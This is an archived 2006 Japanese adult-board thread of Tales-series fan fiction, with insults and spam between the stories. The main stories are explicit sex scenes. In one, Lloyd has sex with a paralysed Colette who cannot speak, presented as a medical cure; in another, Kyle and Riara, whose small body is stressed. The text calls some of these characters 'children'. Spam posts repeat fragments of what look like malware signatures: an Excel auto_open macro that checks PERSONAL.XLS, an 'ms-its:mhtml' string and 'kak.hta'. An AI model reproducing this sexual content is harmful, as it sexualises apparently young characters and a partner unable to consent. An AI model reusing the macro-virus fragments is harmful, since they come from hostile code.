\(^o^)/黙れカス\(^o^)/

351 名前:名無しさん@ピンキー :2006/06/27(火) 01:33:13 ID:OhPUIjGn



352 名前:名無しさん@ピンキー :2006/06/28(水) 00:14:32 ID:4AN2R9qS
a

353 名前:名無しさん@ピンキー :2006/06/28(水) 00:43:52 ID:9k3ychgw
i

354 名前:名無しさん@ピンキー :2006/06/28(水) 15:47:18 ID:Kzw1qvcv
一時期嵐のように投下された糞ウザいアビスネタが消えてくれたのは嬉しいが、
同時に他のテイルズネタもまとめて消えてしまったのが悲しい。

アビスが出るまでのこのスレは平和だったなあ・・・。(遠い目)

355 名前:名無しさん@ピンキー :2006/06/28(水) 17:26:56 ID:9k3ychgw
>>354
うざいのは貴様だカス

356 名前:札幌 ◆BMJ.9iH5co :2006/06/28(水) 19:52:48 ID:7T5z0oy+
カスではない。カソだ

357 名前:リリア :2006/06/28(水) 20:51:01 ID:2IUfbfqr
カソに似た漢字あったようなwww

358 名前:リリア :2006/06/28(水) 20:52:15 ID:2IUfbfqr
2チャンのペルペルって言う掲示板あれてたーフー

359 名前:キルア :2006/06/28(水) 20:56:25 ID:2IUfbfqr
情報どうもありがとーございました!

360 名前:イミ不明な掲示板 :2006/06/28(水) 20:57:11 ID:2IUfbfqr
今小説書いたらageになる?

361 名前:キルア :2006/06/28(水) 21:07:12 ID:2IUfbfqr
立っているよりも随分と楽だったので、やっぱり疲れが溜まっていたんだなと思って眠りについた。
 仲間達も、連戦続きだったしと納得して。
 特に注意を払わなかったのも、問題だったのかもしれない。

 次の日。 コレットが起きあがれなくなるまでは。


362 名前:キルア :2006/06/28(水) 21:08:50 ID:2IUfbfqr
仲間達がコレットの異変に気付いたのは昼前のこと。
 旅の出向時間になっても起きてこないコレットに、仲間達は昨夜の様子を思い出して疲れているのだろうと気にもしなかった。
 ところが昼前になっても部屋から出てこない様子に、流石に不振に思って様子を見に行ってみると…… コレットの身体が動かなくなってしまっていたのだ。
 ベッドの上で横になったまま、起きあがることすら不可能で。
 意識ははっきりしているし、瞬きくらいは出来る様だが――どうやら、口を動かす事は出来ないらしい。
 とりあえずリフィルが回復呪文を片っ端からかけてみることにしたのだが……。

「先生!」

「どうなんだ? コレット様子は……。」

 リフィルがコレットの部屋から出てくるのを見て、子供達が駆け寄った。
 不安げな表情の子供達に、硬い表情でリフィルは顔を横に振った。
 それを見て、他の仲間達の表情も暗いものになる。

「どうしようかねぇ……。」

「まっさか、こんな事態になるとは思ってなかたからなー。」

「うむ。身体が動かなくなる病など、聞いたことがないからな。」

「はい…。」


「……アンタは、何か知らねーのかよ。天使様?
 一応、長生きしてんだったら心あたりくらいはあるんじゃねーの?」

 コレットの部屋から一番離れた所に立っていたクラトスは、皆の様子を黙って眺めていた。
 からかう様な口調でいながら探る様な視線で言った言葉に、仲間の視線が2人の魔剣士へと向けられる。
 普段と変わらず……いや、少し表情は硬く、何か考えている様にも見える。


363 名前:キルア :2006/06/28(水) 21:18:43 ID:2IUfbfqr
知らないわけでもないが・・・
ないが?
私が知っている病気なら早くしないと危ないな
いつもながらだが冷静でいるクラトスにみんながため息をつく
まぁ早くしないと巫女の運命は・・・
もう言わなくてもわっかってよ
ああ・・・そうだな・・・
でも助かるんですよね・・・?
さっきも言ったように早くしないと命が危ない
早くしないと確実な・・・
死・・・・か?四大天使殿
うむ・・・
その言葉にその廊下の空気は絶対零度に氷ついた
私の思っている病気ならアルテスタが一番しっているだろう
その言葉と同時に皆はいっせいにアルテスタの家に行く準備をした


364 名前:キルア :2006/06/28(水) 21:19:56 ID:2IUfbfqr
(大丈夫だよ。)

 コレットは、目の前で辛そうな表情のロイドに心の中で呼びかけた。

 事情はクラトスから全て聞いた。
 そんな重い病気だとは思わなかったが……。
アルテスタに視てもらったところ、クラトスの想像通りの病気だと彼も判断した。

(そんな辛いわけじゃないから……そんな悲しい顔しないでね。)

 放っておけば、あと数日で死んでしまう病気だとは思えない。
 最初は身体が重い程度だったが、今では痺れてしまった様に何も感じない。
 身体が動かないというのは確かに不便だし、話すことが出来ないのは……こういうときは困る。


 薬の材料は、貴重――というわけでもないが、繁栄世界でも簡単に手に入る物ではなかったらしい。
 全てがアルテスタの家にはないと聞き、仲間達が探しにいってくれている。
 大半が、神子であるゼロスと貴族で大会社を運営しているリーガルによって揃えられそうで、残りはミズホの里の情報網から在処を割り出してとってくるらしい。

 本当に良い仲間に恵まれていると思う。

 コレット一人では何も出来ないということで誰か一人が残ろうということになったとき、ロイドが――当然のことながら――名乗り出て。
 こうして一緒にアルテスタの家に厄介になっているというわけだ。
 食事を食べさせてくれたり、(恥ずかしいけれども)身体を濡れたタオルで拭いてくれたり。
 文字通り甲斐甲斐しくコレットの世話をするロイドの様子に、アルテスタが驚いたのはいうまでもない。
 けれど、どんどんと時間がたち日付が変わっていっても。
 ロイドが不安にならなかったのは、コレットがいなくなったらどうしようという不安。

 ロイドを見てふっとコレットの瞳が緩んだのを見て、ロイドはコレットを優しく抱きしめた。
 病気のロイドの今の身体では、その体温すら感じなかったけれども。


365 名前:キルア :2006/06/28(水) 21:27:20 ID:2IUfbfqr
――罰なのだと思った。
 自分が犯した、償いきれないほどの大罪への。


 私が以前の私を思い出した様に、ロイドもまたコレットの運命について考えていた。

 自分達が作り出した、運命という名のもとの支配。
 神託や精霊、天使達を用いて行った世界の操作。

 けれど、自分は他人事と思っていたのだと自覚する。
 私が人間らしさを失っていったときは、クルシスが行ったもの。
 封印を解放するたびに起こる変化は、自分にとっては当然の出来事だった。
 けれど、今、私の身体の自由を奪っているのは違う。
 容赦なく身体を蝕み、数日のうちに命の炎をかき消してしまうのだろう。

(ロイド・・・悲しい顔しないでね・・・)

 家族や想い人はどんな思いだったのだろう。
 大切な人を……死ぬ為の旅に出させなくてはならないとは。
 失敗でも成功でも、どちらにしろ届くのは愛しい者の死を意味する。

 今度は……自分の番なのだろうか。
 愛しい者を再び手放なそうをさせているのだろうか。

 そんな思いでコレットを見つめると、コレットの瞳がふっと緩んだ。
 大丈夫だ――…。
 そう言って自分を安心させようとしているのが伝わってくる。
 それを見て、思わずロイドはコレットの身体を抱きしめた。

 あぁ……コレットは、何と強いのだろう。
 今、自分に起きている病にも負けずに現状を受け止めようとしている。
 ただ嘆いているだけの自分とは違う。

「……コレット。」

 声をかけると、個えっとの意識がこちら向くのを感じた。
 それだけで、心に安らぎが広がる。

「おまえの病気は……必ず、俺が治してやる。」

 それは、自分への決意だったのかも知れない……。
 その言葉を聞いたコレットの瞳が、嬉しげに輝いた。


366 名前:キルア :2006/06/28(水) 21:27:52 ID:2IUfbfqr
薬の材料は、数日で全て集まった。

 仲間達は、不眠不休で探し回ったらしい。
 アルテスタの家に戻ってきたときには、全員がフラフラの状態だった。

 材料がそろったのを見たアルテスタは、急いで薬を作り上げた。
 薬が出来上がったのを喜んだ仲間達は、それを受け取ったロイドが全て飲み干したのを見て不思議そうな顔をした。
 皆に休む様に告げてコレットの居る部屋へと戻っていったロイドを見て、その疑問はさらに深まった。

「なぁ……なんで、薬をハニーが飲むんだ?」

「さぁ……?」

「で、でも、アルテスタさんが止めなかったし……。」

「じゃぁ、薬が無くなったコレットさんはどうなるんですか・・・?」

 そんな会話をする仲間達に、アルテスタは不思議そうな顔で眺めたあと。
 納得した様に頷いた。

「あの病気の薬は病人で飲むんじゃないんじゃ。」

 そう言ったアルテスタに、皆の視線が集まる。
 病人が飲まない薬――という不思議な言葉に、ますます理解不能になったらしい。
 塗り薬というのならば、ロイドが飲んだ理由がわからない。
 そんな疑問に答える様に、アルテスタの解説が続く。

「病人ではない別の成人男性が薬を飲むことで、あの病のワクチンが薬を飲んだ者の体内に作成される。その作成スピードは約10分ほどでワクチンが完成し、体内に数時間ほど存在し続ける。
 そのワクチンは男性特有の器官に溜まる性質を持つため、その薬を飲んだ者から病人へワクチンを注げば病は治る。
 但し、この病と薬は特殊なためか病人が薬を飲んでもワクチンが作成されず、必ず病人以外の者が薬を飲んでワクチンを作り出さねば病を治すことは出来ないのだ。
 また、体外にワクチンを出すとワクチンが死滅するために、必ず病人の体内に注ぎ込まねばならないがな。」



367 名前:キルア :2006/06/28(水) 21:29:23 ID:2IUfbfqr
薬の材料は、数日で全て集まった。

 仲間達は、不眠不休で探し回ったらしい。
 アルテスタの家に戻ってきたときには、全員がフラフラの状態だった。

 材料がそろったのを見たアルテスタは、急いで薬を作り上げた。
 薬が出来上がったのを喜んだ仲間達は、それを受け取ったロイドが全て飲み干したのを見て不思議そうな顔をした。
 皆に休む様に告げてコレットの居る部屋へと戻っていったロイドを見て、その疑問はさらに深まった。

「なぁ……なんで、薬をハニーが飲むんだ?」

「さぁ……?」

「で、でも、アルテスタさんが止めなかったし……。」

「じゃぁ、薬が無くなったコレットさんはどうなるんですか・・・?」

 そんな会話をする仲間達に、アルテスタは不思議そうな顔で眺めたあと。
 納得した様に頷いた。

「あの病気の薬は病人で飲むんじゃないんじゃ。」

 そう言ったアルテスタに、皆の視線が集まる。
 病人が飲まない薬――という不思議な言葉に、ますます理解不能になったらしい。
 塗り薬というのならば、ロイドが飲んだ理由がわからない。
 そんな疑問に答える様に、アルテスタの解説が続く。

「病人ではない別の成人男性が薬を飲むことで、あの病のワクチンが薬を飲んだ者の体内に作成される。その作成スピードは約10分ほどでワクチンが完成し、体内に数時間ほど存在し続ける。
 そのワクチンは男性特有の器官に溜まる性質を持つため、その薬を飲んだ者から病人へワクチンを注げば病は治る。
 但し、この病と薬は特殊なためか病人が薬を飲んでもワクチンが作成されず、必ず病人以外の者が薬を飲んでワクチンを作り出さねば病を治すことは出来ないのだ。
 また、体外にワクチンを出すとワクチンが死滅するために、必ず病人の体内に注ぎ込まねばならないがな。」



368 名前:キルア :2006/06/28(水) 21:32:01 ID:2IUfbfqr
「「「「「「「………。」」」」」」」

 アルテスタの解説に。
 理解した者は赤面し、理解できなかった者は眉を潜めた。

「それは、つまり――病人以外のオトコが薬を飲んで、病人を抱けばいい……ってコトか?」

 あんまりにも分かり易すぎる訳し方に、発言した赤毛神子の頭にしいなとリフィルが一発ずつ教育的指導をお見舞いする。
 今回の説明でわかったのか、理解していなかった者も顔を赤らめた。

「ま、まぁ、これでクルシスが神子の病を治さなかった理由がわかりましたけれど。」

 マーテルの身体を見つけるのが目的の神子制度。
 シスコンレベル最強ともいえるミトスが、新たなマーテルの身体を(病を治すためとはいえ)誰かに抱かせるとは思えない。

 うらやましい……というゼロスの呟きを聞いて、しいなはゼロスが立ち上がれなくなるほどの制裁を与えた。
 人はこれを嫉妬と呼ぶ。


369 名前:名無しさん@ピンキー :2006/06/28(水) 21:33:12 ID:9k3ychgw



370 名前:キルア :2006/06/28(水) 21:54:24 ID:2IUfbfqr
扉の開け閉めする音で、眠っていたコレットは目を覚ました。
 辛うじて動く瞳を彷徨わせると、自分のいた部屋にロイドが入ってきたところだった。
ロイドはそのまま真っ直ぐ自分の所へやってくると、腰をおろして自分と目線を合わせた。

「……大丈夫か?」

(うん。へーき…。)

 優しげな瞳で尋ねられ、コレットは瞳で答える。
 そんなコレットに、ロイドはそっと頭を撫でると良い知らせを告げた。

「おまえの病を治す薬が完成した。」

 驚くコレットに本当だと告げると、コレットにアルテスタと同じ薬の説明をする。
 意味がわからず困惑するコレットにくすりと笑うと、ロイドは立ち上がってベッドの横に腰に付けていた剣を外して置き、白い(布?)を脱ぎ始めた。
 ベッドでは、コレットが言われた意味を理解しようと考え込んでいる。



(え――っと、つまり、薬を飲んだロイドの身体の中に私の病気を治すワクチンってゆーのができてるんでしょ?でも、なんで病人の私が飲まないんだ……?)



 その説明もされているのだが、そのへんを理解していないのがコレットらしい。
 けれど、当の本人は一生懸命だ。


371 名前:キルア :2006/06/28(水) 21:55:05 ID:2IUfbfqr
(で、ロイドの身体から私の身体にワクチンを入れれば私の身体は戻る……。
 ワクチンは、ロイドの身体の『男にしかない器官』に溜まっているっていうから…………――『男にしかない器官』!?

 ―――それって、もしかして………っ!?)



「――理解したみたいだな。」

 コレットの表情が変わったのを見て、ロイドは呟く。
 今のコレットは逃げ出したいのだろうが、身体の動かない状態ではどうしようもない。
 近付いて瞳を覗き込むと、恥ずかしさのあまりか涙が溜まっていた。

(……ウソ…でしょっ〜???。
 それって、つまり、ロイドが私を抱くってことで――。)

 この考えを否定したかったのだが、目の前にいるロイドは服を脱ぎさっていて。
 恥ずかしさのあまり、コレットは顔を赤らめた。
 目を背けたかったのだが、身体を動かせない状態ではそれすらも許されない。
 いや、今ではロイドの為すがままの状態とも言える。

「そんなに怯えることもないだろ? 初めてって言う訳ではないんだから♪。」

 ロイドに抱きしめられ、耳元で囁かれた言葉にコレットは恥ずかしくなる。
 確かに、自分はロイドとそういった行為をしたことがある。
 けれど、病を治すために行為をすることになるとは思ってもみなかった。

「それとも……俺ではなく、別の奴との方が良かったか?」

(違……っ!)

 今、身体が動かせたら思いっきり首を横に振っていただろう。
 自分だって、この行為をするならばロイドでなければダメだと思っているのだから。
 けれど、そんな思いも口にすることが出来ないことがもどかしい。
 そっと抱きしめられて嬉しかったけれど、それを感じることが出来ない身体が悲しかった。


372 名前:キルア :2006/06/28(水) 21:57:05 ID:2IUfbfqr
「――大丈夫だ。」

 耳元で優しく告げられ、コレットがロイドに視線を向けようとすると。
 ロイドの方が動いて、コレットと視線を合わせてくれる。
 そんなさり気ない心配りが嬉しい。

「おまえがそう思っていないことはわかってる」
 不安なのかもしれないけど……俺は、おまえの病を治したい。
コレット。おまえを失いたくない。」

 真っ直ぐに見つめられて。
 そんな事を言われて、嬉しくないはずがない。

(うん……。ロイド。
信じてるから……。)

 見つめ返すと、ロイドが思ったことを読み取ったのか頷いた。
 そっと唇にキスを贈ると、ロイドはコレットの服を脱がし始めた。
 身体が動かせないコレットは、大人しくその行動を眺めていることしかできない。

(恥ずかしい……っ。)

 手際よく脱がせていき身体を隠している物全てを取り去ってしまうと、ロイドの前にコレットの全てを見せてしまう。
 その現実が恥ずかしかった。

(……ぁ。)

 ロイドは、コレットの秘部に手を這わせると指を一本挿入する。

(うそ……もぅ!?)

 濡れていない指をコレットの身体は簡単には受け入れられない。
 何度も出し入れをしながら全て入りきると、ナカを広げながら二本目を入れだした。

 いつもなら違和感を感じるこの行為も、何も感じることが出来ずコレットは悲しくなる。
 今、こうしてロイドは慣らしてくれているけれど……挿入の痛みも、身体を繋げた快感も感じないということになる。
 それは……やっぱり、悲しい。
 身体が動かないことよりも、何も感じないという方が何倍も辛いという現実がコレットを苦しめた。


373 名前:キルア :2006/06/28(水) 21:58:52 ID:2IUfbfqr
普段の倍近い時間をかけて慣らし、何本もの指を受け入れられる様になった頃。
 ロイドは慣らす行為を止めて、指を全て引き抜いた。
 コレットの顔を見ると涙を流していて。
 頬をつたって流れる涙を唇で受け止めながら、ロイドはコレットを抱きしめた。

「……やっぱり……俺では嫌か?」

(違う……。)

「では、どうしてだ?」

(……私……。)

 何も感じられない自分が悔しかった。
 身体を重ねる行為は恥ずかしいけれども……けれど、やっぱり感じたい。
 ロイドが愛してくれるのに、抱かれる自分が何も感じることが出来ないのは失礼で。
 そして、自分も感じることを望んでいるのに。

(して……欲しいよ……。)

「――いいか?」

(……ぅん。)

 瞳を覗き込んでいたロイドは、コレットが受け入れる意思に変わったのを見て自身を蕾に押し当てた。
 それから、ゆっくりとナカへ押し入れていく。

 今は痛みを感じないだろうが、病が治り、身体が自由を取り戻したときに感触を取り戻す。
 身体に残る傷は、そのときになってコレットを襲う。
 そのことを考えて、ロイドはわざわざ何も感じない身体を慣らし、傷付けない様に身体を重ねるようにした。

(……っ…………ぁ。)

 何も感じないはずなのに。

(私……ヘンなのかも。)

 気持ちが重なっていく様な気がする。
 それは、ロイドと身体を重ねたときと一緒で。
 何も感じられなくても、思いは変わらないのだと。
感じることは出来なくても、一つになれるのだと。
そんな気がした。

 ロイドは、完全に奥へ押し切るとゆっくり出し入れを始める。
 優しく抱きしめると、コレットの瞳が緩むのを見てロイドも微笑む。
 身体では感じることが出来なくても、愛し合っているという行為自体で心が感じたらしい。
 その事実が、ロイドを満たした。

 抱きしめられたままキスを受け、ロイドと一つになっているということだけでコレットは満たされた気がした。
 ロイドの想いをナカで受け止めたとき、コレットは悲しみとは違った涙を流した。

(好きだよ。ロイド……。)


374 名前:キルア :2006/06/28(水) 21:59:24 ID:2IUfbfqr
「ん……ぁ、はぁっ……そこっ。」

「ここか?」

「うんっ………あ…あぁっ……っ!」

 身体を繋げたまま。
 手で愛撫を与え、唇で所有の印を刻む。
 その行為は、自由を取り戻してからもずっと続いていた。

 コレットの感じる場所を自身で刺激すると、高い悲鳴が上がる。
 笑って耳たぶを甘噛みすると、腕の中でびくんっと身体が跳ねた。
 感じやすいコレットの身体は、完全に元に戻っていた。

 その事実は、ロイドを燃えあがらせるには充分すぎて……。

「んんっ……ふぁっ………。」

 唇を重ねて、舌を絡ませて。
 すると、コレットも手を首に回してきて舌を差し出してくる。
 ロイドの行為に応えようと、コレットからも絡めてくる様子は快楽に従順で。
 下唇を軽く噛むと、それすらに感じてしまうのか身体が震えた。

 抱きしめていた手の右手だけを身体に這わせながら下ろしていき、立ち上がってしまっているコレット自身へ添えた。
 濡れている自身を手で上下に愛撫するだけで、コレットの身体がびくびくと震える。
 重なった唇から、快楽の鳴き声が漏れた。

(ロイド……もぅ、ダメだよ……っ。)

 抱きしめ合って、唇を重ねた状態で。
 身体を繋げて、自身を愛撫されて……。
 何度も何度もイかされた身体は、どこに触れられても敏感になってしまっていて。

(イきた…っ イきたいよ……っ。)

 耐えられなくなってきて抱きしめる力を強めると、限界に気付いたロイドは高見を目指すために身体を動かし始めた。
 何度も奥へと入るロイドに感じるところを触れられて、頭の中が真っ白になっていく。
 自身に与えられる愛撫は休み無く与えられて、口の中ではくちゅくちゅと舌が行き交う。

「……んっ……んんんっ……っふ……ん…。」

 ロイドがギリギリまで引き抜いて一気に奥へと押し入ったと同時に。
 コレット自身に添えられた手が先を刺激し。

「――――――っ!!」

 コレットは欲望を吐き出し、ロイドもコレットの中に熱を吐き出した。


 重ねていた唇を離すと、コレットの口からはぁはぁと荒い呼吸を繰り返した。
ロイドの口からも、荒い息が漏れる。
 ぐったりと横になったコレットの身体から、自身に添えられていた手を離す。
 その手を背にまわして、コレットを抱きしめた。

375 名前:キルア :2006/06/28(水) 22:18:21 ID:2IUfbfqr
行為の後の気怠い時間……。

 しかし、その甘い時間はロイドの声によって消え去った。
 正確には、未だ繋いだままだった箇所に与えられた快楽によってあげた甘い悲鳴によって、だが。

「――っ、ロイドっ!
 そん……んあぁっ……ひゃっ……ま、まだヤる……の?」

 もう、数え切れないくらいイったのに……。

 病を治すために身体を重ねたときはしょうがないとして、その後に行為を続けたという事実は……まぁ、いい。
 何も感じることの出来なかったコレットにとっては、その方が嬉しい。
 薬が無事に効いたらしく。
 数十分たったころにはかなり自由が戻ってきたし、いろいろと感じる様にもなってきた。 
 1時間もすれば、コレットは完全に身体の自由を取り戻していた。
 もちろん、身体に与えられる刺激も感じられる様になった。
 だから、ロイドに告げたのだ。
 もう身体が自由になったから大丈夫だと。
 
 だが――。

「やぁっ……ロイ…っ………ちゃん……と感じられるか、調べ…あぁっ……だけって……言った、のにっ。」

「――不満、か?」

 その言葉を言われてから、何度イったことか。

 最初は嫌だと抵抗しても、結局快楽に負けてロイドの思うがままとなってしまっている気がする。
 身体を重ねること自体が久しぶりな気がするし……。
 ―――そこまで考えて、コレットは気が付いた。


376 名前:キルア :2006/06/28(水) 22:18:52 ID:2IUfbfqr
(そういえば……。)


 ある事実を思い出して。
 思い返してみると、そうだったかもしれない。

「――コレット。」

「……え?」

「ずいぶんと余裕だな。
 行為の間に、考え事なんて。」

「――!?
 えっ、いやっ、そ、そーいうわけじゃなくて……その……ロイドが考え事してから、初めてだったんだなぁって。
 こういうこと……するの……。」

 その言葉に、ロイドは納得する。
 最後に身体を重ねたのは……確か、救いの塔へ行く前夜だった。
 体内のマナを放出した反動から自分の身体が弱っていたこともあってか、戻ってきてからは一度も身体を重ねていなかった、
 コレットが、こういった関係になるのを避けていたせいもある。

「前に私を抱いたときに怖い顔してたの……私の将来考えてくれたからだったからなんだね。」

 ぽつりとこぼしたコレットの呟きに、ロイドは苦笑する。

「……顔に出してたつもりはなかったんだがな。」

「いつも、私を抱くとき悲しい瞳だったけど……あの時は、泣きそうな顔だったから……。
 なんていうか……私に許しを請う様な眼だった。
 
「そうか……。」

 その事実を知ることを恐れたのは、きっとこうした関係を否定されるのが怖かったからだと思うコレットは酷く困惑していたのがわかって。
 恋人でもない
 友達、という仲間の一人として接してきていた。
 だから、ロイドもそれ以上の関係に踏み込もうとはしなかった。

「……う、うまくは言えないけど。

 私、ロイドと会えて良かったと思う。
 物の作り方のコツとか教えてもらったりして。一緒に戦って。時々……怒られて。
 口げんかして、口聞かなくなったりもした。
 けど……全部、私の為にしてくれたんだってわかってるから。
 私は、そんなロイドが好きだから……私は、ロイドが望むままに応えたい。」



377 名前:キルア :2006/06/28(水) 22:19:34 ID:2IUfbfqr
考えながら言葉を紡いでいくコレットは、本当に心の中の事を知ってもらおうとしていて。
 それを見ているだけで、愛しさが溢れてくる。
 ロイドの口が笑みの形へと変わる。

「こゆこと、すんの。……恥ずかしいけど。
 でも、私、気持ちいいと思うし。嫌いじゃないから。

 それに――。」

 今はまだ無理だけど、ちゃんとロイドのこと・・・・やっぱりなんでもない!


 その言葉は、意外だったし。
 同時に、とても嬉しいものだった。
 コレットはコレットなりの葛藤があった様だ。
 そう告げた子の顔は、恥ずかしさのあまりに真っ赤になっている。

 固まってしまったコレットを抱きしめて。
 キスを額に落として。
 それから……。

「手加減はしないからな。」


378 名前:キルア :2006/06/28(水) 22:20:24 ID:2IUfbfqr
そう耳元で宣言して。
 身体を動かすと、コレットの口から再び甘い悲鳴があがりだした。
 身体を震わせ、口吻を交わし合い、本来ならば受け入れる場所ではないところで受け入れ。
 容赦なく打ちつけられるロイドを、コレットは快楽に溺れながら受け止めるしか出来ないのだ。

 快楽を知り、抱かれる立場を選んだコレットには。
 否定することなど、出来はしないのだから……。








「あ――…ぜったい、ロイドのせいだからね!」

 夜明けまで続いた儀式は……当然の結果ながら、コレットの腰痛を生んだ。
 抱いた立場のロイドが何も代償を払わなくていいのは、いつもながら不公平だと思う。
 快楽をわかちあっているはずなのに。
その後の苦しみをかかえるのは、いつもコレットの方だ。
 結局、今日もベッドから出られなくなったコレットは、傍にいるロイドに文句を言うことくらいしかできない。

「だから……すまないっていってるだろー!」

「――毎回、その言葉を言うけど、その次に手加減されたことってないんだよね・・・・。」

 毎回……容赦なく愛されてしまっている気がするのは、コレットの気のせいではないはずだ。
 それだけ愛されていると思えば嬉しくないとは言えないのだが。
 そのたびにこの痛みが襲うのならば、それはそれで困りもの。

(まぁ……いっか。)

 身体は元に戻ったし。
 それで、今回は水に流そう。
 コレットは微笑んだ。
 後少しくらいは――こうして、ふたりきりで……。






 そのあと。
 起きあがれる様になったコレットが、皆が治療法を聞いたと知って。
 恥ずかしさのあまり脱走をするのだが。
 それは、まだ別の話。



                   END

379 名前:リッド・ハーシェル◇dari7s5eQ :2006/06/29(木) 00:00:09 ID:eRmFNFmc
シネしんうぇいしねsssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss

380 名前:名無しさん@ピンキー :2006/06/29(木) 02:00:38 ID:m7SCr14S
lines(n)=
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

381 名前:中山 悟 ◆2DumU/p1Uw :2006/06/29(木) 10:35:13 ID:RY8VWrX/
記念カキコ

382 名前:名無しさん@ピンキー :2006/06/30(金) 00:43:32 ID:WKKkLLs+
荒れてるなぁ…(´д`)

383 名前:名無しさん@ピンキー :2006/06/30(金) 01:06:59 ID:5CCALWWt
嵐の家須磨

384 名前:リッド・ハーシェル◇dari7s5eQ :2006/06/30(金) 15:43:22 ID:JuvpSzwp
そね
市ねウイルススレが・















kふぉうぺwりおt

385 名前:名無しさん@ピンキー :2006/06/30(金) 16:14:09 ID:WOaS49aI
記念カキコ

386 名前:名無しさん@ピンキー :2006/06/30(金) 17:09:18 ID:Briyl29H
もうダメなのか?

387 名前:名無しさん@ピンキー :2006/06/30(金) 21:23:11 ID:4B8htISx
せめて過疎ってるだけならまだ救いもあったんだがな。
そろそろLの良作が見たいよ。

388 名前:kak.hta';ken=wd+'START :2006/07/01(土) 00:13:25 ID:eLe6xKjj
kak.hta';ken=wd+'START

389 名前:名無しさん@ピンキー :2006/07/01(土) 16:41:29 ID:7fTg5937
>>378
GJ!
ミスが結構あるけどそれは無視しとこうw
治療法の最初の説明で判らなかったのがジニプレぐらいしか思いつかなかった件。

>>387
禿同。

390 名前:kak.hta';ken=wd+'START :2006/07/01(土) 22:50:00 ID:eLe6xKjj
lines(n)=
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

391 名前:kak.hta';ken=wd+'START :2006/07/01(土) 22:50:55 ID:eLe6xKjj
lines(n)=
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

392 名前:kak.hta';ken=wd+'START :2006/07/01(土) 22:51:43 ID:eLe6xKjj
lines(n)=
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

393 名前:370氏 :2006/07/02(日) 00:42:02 ID:qOrE+JAc
時期を全く無視して カイル×リアラ(後半逆) のラブラブ漫画。
設定とか極力省いて、エロシーンのみ。状況模写のみに重点を置いて。

続きがあるかは未定。

394 名前:370氏 :2006/07/02(日) 00:43:39 ID:qOrE+JAc
「ん…」
リアラの口は柔らかかった。小さすぎる頭を、ゆっくり自分の方へ押し込む。
にゅるり、と自分の舌をリアラに入れていく。すると、彼女の頬が赤らめていくのが見えた。
少し困ったような、けれどまんざらでもない彼女の顔が、とても愛おしくカイルには見える。
そして、その表情が、カイルの中の欲望を、徐々にかき回していく…。<BR>

彼の左腕は、彼女を支えていた背中越しから肩へと移り、リアラのワンピースを、ゆっくりと下へ降ろしていった。<BR>
リアラの小さな、けれど確かにふくらみがある胸が、露となる。
「や…だめ…あ」<BR>
彼女の小さな抗議を、カイルはその口を塞ぐ事で制止する。<BR>
そのまま左腕を、彼女の服と肌の間に割り込ませ、手のひらに広がった胸を優しく揉み始める。
彼の腕には、いつものような手袋がはめていない。だから、その生暖かい感触が、直に手のひらに伝わった。
「んん…ん…カイ…やぁ…」
リアラが甘い息をカイルに送り込むと共に、彼の指の力と、口の吸いつけが強くなっていく。
「リアラ…ん…」
カイルは、蒸発しそうになる頭の中で、今でもまだ夢の出来事のように、こうなるまでの経緯を思い出した。

395 名前:370氏 :2006/07/02(日) 00:44:56 ID:qOrE+JAc




元はといえば、こんな蒸し暑い日に、一人分のベットだけしかない部屋に泊まったのが問題だったんだ。
ハロルドが体が涼しくなる薬を作ったからって、それを呑んでみたら、余計に体が暑くなって…。
しかも、隣を見てみたら、苦しそうに自分を見上げているリアラが居て。
苦しそうだって言うのに、何でか、俺はその姿に見惚れちゃって。それで…。




396 名前:370氏 :2006/07/02(日) 00:45:41 ID:qOrE+JAc
カイルの左腕は、いつの間にかリアラの大事なところにまで降りていて、それら全体を包んでいた。
ピチャ、ピチャと、カイルの指が少しでも動けば、いやらしい音が鳴り響く。もう随分と濡れていた。
「鳴らすの…や、ぁ…」
「そう…?リアラは全部可愛いよ」
カイルはリアラの差恥感をくすぐる様な言葉をわざと選んで、その困りきった赤い顔を楽しむ。
「カイ…ルぅ…ん!…」
案の定、リアラの小さな体は、カイルの胸へとうずくまり、その体重の全てを、カイルに預けた。
それに答えるよう、カイルの左中指が、リアラのすじを、すっとなぞっていく。
「んんん…!」<BR>
仰け反りそうになるリアラの体を、わざと自分に押し付けた。彼女が快感に逃げぬ様に。
彼女が痛みのせいか、それとも快感のせいか、眉を痛々しそうに引きつらせたが、カイルは無視する。
そのまますじを何回かなぞっていくと、その度に、リアラの細い腰がうねって、ワンピースのスカート越しに、小さなお尻
が揺れた。リアラの愛液によって、そのワンピースの下半身はある程度透けている。
「ん…ひぁ!…んやぁ…!あ…んん…!」
「リアラ…」
カイルはリアラのそんな姿に見惚れて、自身も今では最高潮に達していて、ズボンの中で痛がっているのを感じた。
ジャラジャラとつけている普段のベルトはとってあったが、こんなにも酔いしれるリアラを間近で見ていた
カイルにとって、ズボンという壁さえも、自身が収まるには狭すぎるように感じた。

「…ん…カイルぅ…」
「!?」


